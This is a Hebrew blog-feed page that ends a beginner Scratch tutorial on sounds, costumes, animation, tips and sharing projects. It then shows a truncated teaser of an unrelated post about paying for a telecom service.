לחצו על לשונית הצלילים. תוכלו לבחור צליל בחר צליל, להקליט צליל משלכם הקלטה, או ליבא מקובץ צליל מקובץ. (בפורמט AIF, MP3 או WAV)

הוספת צליל לתסריט
עכשיו לחצו על לשונית התסריטים וגררו לבנת נגן צליל לתסריט. בחרו את הצליל מהתפריט.

שנו תלבושות:
תלבושות

לכל דמות יכולות להיות מספר תלבושות.
לשינוי התלבושת הנוכחית, לחצו על לשונית התלבושת.
אחר-כך לחצו על תלבושת שונה לדמות.

צרו אנימציה:
אנימציה

תוכלו ליצור אנימציה ע"י החלפת תלבושות.
לחצו על לשונית התסריטים.
צרו תסריט שמחליף בין התלבושות.

12 – טיפים!

שם לפרויקט
תנו שם לפרויקט שלכם.

לרעיונות נוספים, לחצו על טיפים:
טיפים

חלון טיפים

חלון הטיפים מראה דוגמאות תסריטים שבהם תוכלו להשתמש בפרויקט.

הוא גם מסביר מה כל אחת מהלבנים של סקראץ׳ עושה.

שמור ושתף

כדי לשמור את הפרויקט ברשת, הקפידו להתחבר לאתר. התחבר

(אם תרצו לשמור את הפרויקט במחשב שלכם, לחצו על תפריט קובץ ובחרו באפשרות: ״הורד למחשב שלך״.)

כאשר אתם מוכנים, לחצו על ראה דף פרויקט

דף פרויקט
דף פרויקט

לחצו מסך מלא לקבלת מסך מלא.

לחצו שיתוף כדי שאחרים יוכלו לצפות ולשחק בפרויקט שלכם. כאשר אתם משתפים, אחרים יכולים לבקר ולשחק בפרויקט שלכם.

הוסיפו הערות לפרויקט.

מה עכשיו? תוכלו לצור פרויקט חדש או לחקור לקבלת רעיונות.

כדי ללמוד עוד, לחצו עזרה או גלשו אל http://scratch.mit.edu/help (אנגלית).

למי שרוצה להעמיק עוד יותר, מומלץ לקרוא את הספר בעברית: עקרונות ומושגים במדעי המחשב דרך Scratch, מאת מיכל ארמוני ומוטי בן-ארי. ניתן להוריד את הספר בחינם. שימו לב: הספר נכתב לגרסה 1.4 של סקראץ׳. ניתן להוריד מאותו קישור דף הסבר על השינויים בגרסה 2.

16 August, 2014 03:02 PM

10 August, 2014

Hetz Ben Hemo

הנח"ש – על מה אני משלם בעצם?

למי שלא מכיר אותי – בחיים הפרטיים שלי אני אדם שאוהב להשקיע בשביל לקבל מוצר ושרותים טובים מאחרים, גם כאשר מדובר במחירים גבוהים יותר מהצעות מתחרות. כל עוד יש הצדקה – אני אשמח להוציא את הארנק ולשלם. כמעט בכל התחלת … להמשיך לקרוא

הטקסט המלא

10 August, 2014 06:36 AM